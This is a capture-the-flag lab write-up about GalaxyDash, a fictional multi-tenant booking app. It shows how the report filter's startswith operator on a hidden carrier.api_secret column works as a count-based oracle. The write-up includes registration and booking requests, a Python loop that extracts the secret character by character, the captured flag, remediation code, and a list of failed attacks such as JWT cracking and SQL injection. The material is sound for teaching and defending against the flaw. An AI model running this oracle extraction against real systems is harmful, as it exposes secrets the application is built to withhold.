BugForge — 2026.10.17

GalaxyDash: Report Filter Secret Oracle

BugForge Information Disclosure via Report Filter medium

Executive Summary

GalaxyDash is a Futurama-themed B2B intergalactic delivery booking platform built on a Create-React-App single-page frontend and an Express (Node.js) API over a relational (SQLite-style) store. It is multi-tenant: every registration mints a fresh organization, the registering user becomes that org’s org_admin, and all booking data is scoped to the caller’s organization. The Report Builder endpoint GET /api/reports/bookings accepts a nested JSON filter whose server-side whitelist covers far more fields and relations than the three dropdowns the UI exposes. Among the accepted filter targets is carrier.api_secret, a column on the joined carriers reference table that no serializer ever prints (not in the UI, booking detail, report rows, or invoice). With the startswith operator the report’s count becomes a boolean test over that hidden column: seed one booking on the internal carrier, then ask yes or no prefix questions and read count > 0. The flag is seeded as the internal carrier’s api_secret and is recovered character by character.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 Hidden joined column carrier.api_secret recoverable through the report startswith filter Medium 6.5 CWE-213, CWE-200 GET /api/reports/bookings

The flag-bearing finding is F1. The row-level scope controls are all solid: the report is hard-scoped to the caller’s organization, cross-org identifiers return empty, and direct object reads on bookings and invoices are blocked. The defect sits one layer over from that scope. The query builder that powers the friendly carrier.name filter also reaches every other column of the shared carriers table, including the secret, and organization scope does not protect it because the carriers table is reference data the JOIN touches rather than an org-scoped booking row. The value never appears in any response body, so the extraction is driven entirely by the returned count.


Objective

Identify and exploit the intended vulnerability in the GalaxyDash lab and recover the flag (bug{...}), following the creator hint “Can a hidden field influence a report?”


Scope / Initial Access

# Target Application
URL: https://lab-1792265842937-lb1il4.labs-app.bugforge.io
# (ephemeral instance, ~2 h TTL; the bundle md5 364a8e4d8d5d595c2302f0d664cd93ae is stable across rotations)

# Auth details
# Open self-registration: POST /api/register {username,email,password,org_name} returns an HS256 JWT.
# Token claims: {id, username, organizationId, iat} (no role claim; role is read from the DB per request).
# A fresh registration becomes org_admin in a brand-new org. Test account landed at user id 5 / org id 4.

Registration is open and self-service, and any authenticated org member can reach the report endpoint. An unauthenticated request to the report returns 401, so a valid bearer token is required. Seeded organizations 1 to 3 and users 1 to 4 are not readable from a self-registered account.

The bug was originally identified from a public guide by johnmatrix on a separate instance; the exploit below was reproduced end to end and the flag re-extracted independently on this deployment. The flag is per-deployment, not copied from the guide.


Reconnaissance: Enumerating the Report Filter Whitelist

The frontend ships as a single Create-React-App bundle (/static/js/main.93e6bd2a.js). The Reports UI builds only status, service.name, and carrier.name filters, but the page subtitle invites filtering “across any dimension,” and the server accepts far more than the UI sends.

Facts that shaped the test plan:

  1. GET /api/reports/bookings?filter=<url-encoded JSON> returns {count, bookings:[...]}. The filter grammar is {field:{operator:value}} for scalar columns and {relation:{subfield:{operator:value}}} for a one-level-deep relation.
  2. Probing the field names separates accepted from rejected: an unknown field answers 400 "Unknown field 'X'", while an accepted field returns 200. Thirteen scalar booking columns are accepted, and six relations are accepted (service, carrier, organization, created_by, origin, destination), each with its own set of accepted sub-fields.
  3. The relation sub-field lists reach joined columns that no response ever serializes. On the carrier relation the accepted sub-fields include api_secret, a column that appears in no UI view, no booking detail, no report row, and no invoice.
  4. The operator whitelist is short and all lowercase: only eq and startswith are honored. startsWith, contains, like, ne, gt, and $-prefixed Mongo-style operators are all rejected, and only the first key of an operator object is applied, so there is no operator smuggling.
  5. The report always returns the same fixed output columns. Filtering a relation never adds a column to the output. A column that is filterable but never serialized is the asymmetry that makes the leak possible: the filter can constrain on api_secret even though the response will never print it.

Application Architecture

Component Detail
Backend Express (Node.js) JSON API; x-powered-by: Express; access-control-allow-origin: *
Frontend React / Create-React-App single-page app, bundle main.93e6bd2a.js (md5 364a8e4d8d5d595c2302f0d664cd93ae)
Auth HS256 JWT bearer; claims {id, username, organizationId, iat}, no role claim; alg:none rejected, signing secret not recovered
Database SQLite-style relational store; bookings are org-scoped, carriers/services/locations are shared reference tables

API Surface

Endpoint Method Auth Notes
/api/register POST No Open self-registration; mints a new org, returns a JWT
/api/login, /api/verify-token POST / GET No / Yes Session bootstrap; verify-token returns role and permissions
/api/bookings GET / POST Yes Create recomputes price and risk and forces status, org, and user; org-scoped
/api/bookings/:id GET Yes Org-scoped; cross-org returns 404
/api/reports/bookings GET Yes The Report Builder; the F1 defect lives in its filter grammar
/api/invoices/:id GET Yes Org-scoped; no template resolver in this rotation
/api/integrations GET Yes Lists three carriers; carrier 3 is “Galaxy Dash Internal” (is_internal=1)
/api/organization, /api/team GET / PUT / POST Yes Whitelisted writable fields; tax_id is read-only
/api/services, /api/locations GET Yes Reference data, read-only

Known Users

Username ID Org Role
(self-registered) 5 4 org_admin

Attack Chain Visualization

┌────────────────────────┐   ┌────────────────────────────┐   ┌───────────────────────────────┐   ┌────────────────────────────────┐
│ 1. POST /api/register  │   │ 2. POST /api/bookings      │   │ 3. GET /api/reports/bookings  │   │ 4. extend startswith prefix    │
│ self-register          │──▶│ carrier_id 3 (internal)    │──▶│ carrier.api_secret startswith │──▶│ character by character,        │
│ → JWT (org_admin)      │   │ → one row the JOIN matches │   │ "bug{" → count 1 (yes/no test) │   │ reading count > 0 → full flag  │
└────────────────────────┘   └────────────────────────────┘   └───────────────────────────────┘   └────────────────────────────────┘

Findings

F1: Hidden joined column carrier.api_secret recoverable through the report startswith filter

Severity: Medium CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) CWE: CWE-213 (Exposure of Sensitive Information Due to Incompatible Policies), CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) Endpoint: GET /api/reports/bookings Authentication required: Yes (any org member)

Description

The query builder behind the report filter accepts relation paths one level deep, including carrier.<column> for every column of the carriers table rather than just the name the UI filters on. One of those columns, api_secret, holds the seeded flag on the internal carrier and is never written into any response. Because the startswith operator constrains the query on that column and the response reports a matching count, the endpoint behaves as a prefix test: a filter of {"carrier":{"id":{"eq":3},"api_secret":{"startswith":P}}} returns count: 1 when carrier 3’s secret starts with P and count: 0 otherwise. Iterating one position at a time over the candidate alphabet recovers the whole secret.

Organization scope does not mitigate this. The scope control restricts which booking rows the caller can see, and it holds (cross-org bookings, organizations, and users all return empty). The secret, however, lives on the shared carriers reference table that the JOIN touches, not on an org-scoped booking row, so the prefix test reads it regardless of which organization the caller belongs to. The seeded booking on carrier 3 exists only to give the JOIN one row to match so the count can rise above zero.

The score reflects two judgments: although any visitor can self-register, the endpoint still requires a valid bearer token, so privileges are rated low rather than none (PR:L, not PR:N); and the exposed column is a credential-grade integration secret disclosed in full (C:H).

Impact

An authenticated user can read a secret column of a shared reference table that the application never intends to expose, recovered in full through the report’s result count.

Reproduction

Starting state: a freshly registered account holding a bearer token. The filter values below are shown as decoded JSON for readability; on the wire each is URL-encoded.

Step 1: Register and obtain a token

POST /api/register HTTP/1.1
Host: lab-1792265842937-lb1il4.labs-app.bugforge.io
Content-Type: application/json

{"username":"d4rkprobe","email":"[email protected]","password":"password","org_name":"Probe Freight Co"}

Response: 200 OK with {"token":"eyJ...","user":{"id":5,"organizationId":4,...}}. The token is carried in Authorization: Bearer on every following request.

Step 2: Seed one booking on the internal carrier

POST /api/bookings HTTP/1.1
Host: lab-1792265842937-lb1il4.labs-app.bugforge.io
Authorization: Bearer eyJ...
Content-Type: application/json

{"origin_location_id":1,"destination_location_id":2,"cargo_size":"medium","cargo_weight_kg":500,"cargo_description":"oracle row","danger_level":0,"has_insurance":false,"has_premium_tracking":false,"service_id":3,"carrier_id":3}

Response: 200 OK with the created booking id. This gives the caller’s org one booking on carrier 3, so the carriers JOIN has a row that can match the filter. The server forces the status, organization, and user fields and recomputes price and risk, which is why the body cannot smuggle any hidden column; only the join target (carrier_id: 3) matters here.

Step 3: Confirm carrier.api_secret is filterable

GET /api/reports/bookings?filter={"carrier":{"api_secret":{"eq":"zzz"}}} HTTP/1.1
Host: lab-1792265842937-lb1il4.labs-app.bugforge.io
Authorization: Bearer eyJ...

(The filter value is URL-encoded on the wire.) Response: 200 OK {"count":0,...}. The key observation is the absence of 400 "Unknown field": the column is accepted by the filter even though it is never serialized.

Step 4: Confirm the prefix test with a known prefix

GET /api/reports/bookings?filter={"carrier":{"id":{"eq":3},"api_secret":{"startswith":"bug{"}}} HTTP/1.1
Host: lab-1792265842937-lb1il4.labs-app.bugforge.io
Authorization: Bearer eyJ...

Response: 200 OK {"count":1,...}. Carrier 3’s secret starts with bug{, so the booking on carrier 3 matches and the count is 1. A non-matching prefix returns count: 0.

Step 5: Extend the prefix character by character

import json, urllib.parse, urllib.request, string

def count_for(prefix):
    f = json.dumps({"carrier": {"id": {"eq": 3},
                                "api_secret": {"startswith": prefix}}})
    req = urllib.request.Request(
        BASE + "/api/reports/bookings?filter=" + urllib.parse.quote(f),
        headers={"Authorization": "Bearer " + TOKEN})
    with opener.open(req, timeout=20) as r:
        return json.loads(r.read())["count"]

CHARS = string.ascii_letters + string.digits
prefix = "bug{"
while not prefix.endswith("}"):
    prefix += next(c for c in CHARS + "}" if count_for(prefix + c) > 0)

For each position the loop tries the candidate alphabet ([A-Za-z0-9] then the closing }) and keeps the first character that keeps count > 0. The alphabet is assumed from the known flag format (bug{...}); widen it if the target secret can contain other characters. The recorded run made 1031 total requests, with one advancing match per position, and converged on the full secret.

Step 6: Verify the recovered value with an exact match

GET /api/reports/bookings?filter={"carrier":{"id":{"eq":3},"api_secret":{"eq":"bug{eRjKJtzr7h7U4RQmYjdfqciqxRt5Uj76}"}}} HTTP/1.1
Host: lab-1792265842937-lb1il4.labs-app.bugforge.io
Authorization: Bearer eyJ...

Response: 200 OK {"count":1,...}. The exact-match control confirms the extracted value. The flag string itself never appears in any response body; the entire recovery is driven by the count.

Captured flag: bug{eRjKJtzr7h7U4RQmYjdfqciqxRt5Uj76}

Remediation

Fix 1: Whitelist filter columns per relation, and exclude secret columns from the selectable set. A column that must stay secret has to be non-selectable through the relation, not merely hidden from the response serializer. Hiding it from output does nothing when the filter can still constrain on it.

// BEFORE (Vulnerable): the carrier relation exposes every column of the carriers table
const CARRIER_FILTER_FIELDS = Object.keys(carrierColumns); // includes api_secret

// AFTER (Secure): allow only the columns the feature needs
const CARRIER_FILTER_FIELDS = ['id', 'name'];
if (!CARRIER_FILTER_FIELDS.includes(subfield)) {
  return res.status(400).json({ error: `Unknown field '${subfield}'` });
}

Fix 2: Constrain the operator set to what the feature needs and treat count as sensitive output. startswith over a filterable secret is a prefix test even when the row is never returned. If substring or prefix matching is not a product requirement for a given field, do not offer it there.

Additional recommendations:

  • Do not store real secrets in reference-table seed data, but note that the code defect stands independently of what the column holds.
  • A burst of nearly identical report queries that differ only by appending one character to the filter value is a detectable signature; rate-limit or alert on it.

OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: The set of columns the filter can constrain on exceeds the set the serializer will return, so a caller reaches data the response layer is built to withhold.
  • A04:2021 Insecure Design: Building the report filter from “every column the JOIN touches” rather than an explicit per-relation allowlist is the design choice that exposes the secret column.

Tools Used

Tool Purpose
curl / HTTP client Registration, booking seed, and the filter probes
python3 (urllib) Per-character extraction loop driven by the report count
Caido Proxy capture and replay of the request chain

References


Failed Approaches

Approach Result Why It Failed
Neutralize org scope through the filter (organization.id, created_by.id, created_by.username of another org) count: 0 on every cross-org value; own-org values return rows The org scope is a base WHERE organization_id = <JWT org> ANDed with the filter; the filter cannot override it. Confirmed with a second self-owned org as a positive control.
Operator injection (ne, gt, lt, in, like, contains, $-prefixed) 400 "Unsupported operator" Only eq and startswith are honored; only the first key of an operator object is applied.
SQL injection in filter values (quote, OR 1=1, comment) Clean empty result, no error Values are parameterized.
Hidden query parameters (organization_id, scope=all, export, include, group_by, limit) Ignored None override the org scope or change the output columns.
Two-level relation traversal / reverse relations Rejected The grammar accepts one-level relation paths only.
Mass assignment on booking create (created_by_user_id, organization_id) and on PUT /api/organization Forced to the JWT identity; hidden org fields dropped Create recomputes and forces scope fields; organization update whitelists its writable fields.
Direct object read on /api/bookings/:id and /api/invoices/:id cross-org 404 Both are org-scoped.
JWT alg:none, and HS256 secret cracking (curated list plus rockyou) Rejected / not found alg:none returns 403; the signing secret is not in the tried wordlists.
Role escalation via PUT /api/team/:id (set own role to a privileged string) Role is writable but changes no data-access scope Report, list, stats, and object reads do not widen with the role string.

Tags: #bugforge #webapp #information-disclosure #filter-injection #boolean-oracle #multi-tenant #galaxydash #cwe-213 Document Version: 2.0 Last Updated: 2026-10-17

#bugforge #webapp #information-disclosure #filter-injection #boolean-oracle #galaxydash